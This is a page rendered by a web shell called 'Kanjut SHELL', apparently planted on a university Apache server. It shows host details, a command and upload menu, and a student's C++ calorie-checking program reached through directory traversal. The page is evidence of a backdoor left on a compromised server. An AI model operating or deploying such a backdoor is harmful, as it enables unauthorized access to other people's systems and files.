Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.224.63.123
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/vnlaughlin/../drsparks/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/vnlaughlin/../drsparks/sample.cpp
#include <iostream>
using namespace std;

int main ()
{
	double fat, carbo, pro, carbs;
	int fat1, carbo1, pro1, carbs1, equalcarbs;

	cin >> carbs >> fat >> carbo >> pro;

	fat = fat - 0.5;
	carbo = carbo - 0.5;
	pro = pro - 0.5;
	carbs = carbs - 0.5;

	fat1 = int(fat);
	carbo1 = int(carbo);
	pro1 = int(pro);
	carbs1= int(carbs);

	equalcarbs = fat1 * 9 * carbo1 * 4 * pro1 * 4;

	if ( carbs1 == equalcarbs )
		cout << "YES\n";
	else
		cout << "NO\n";

	return(0);
}
	   

Stv3n404 - 2023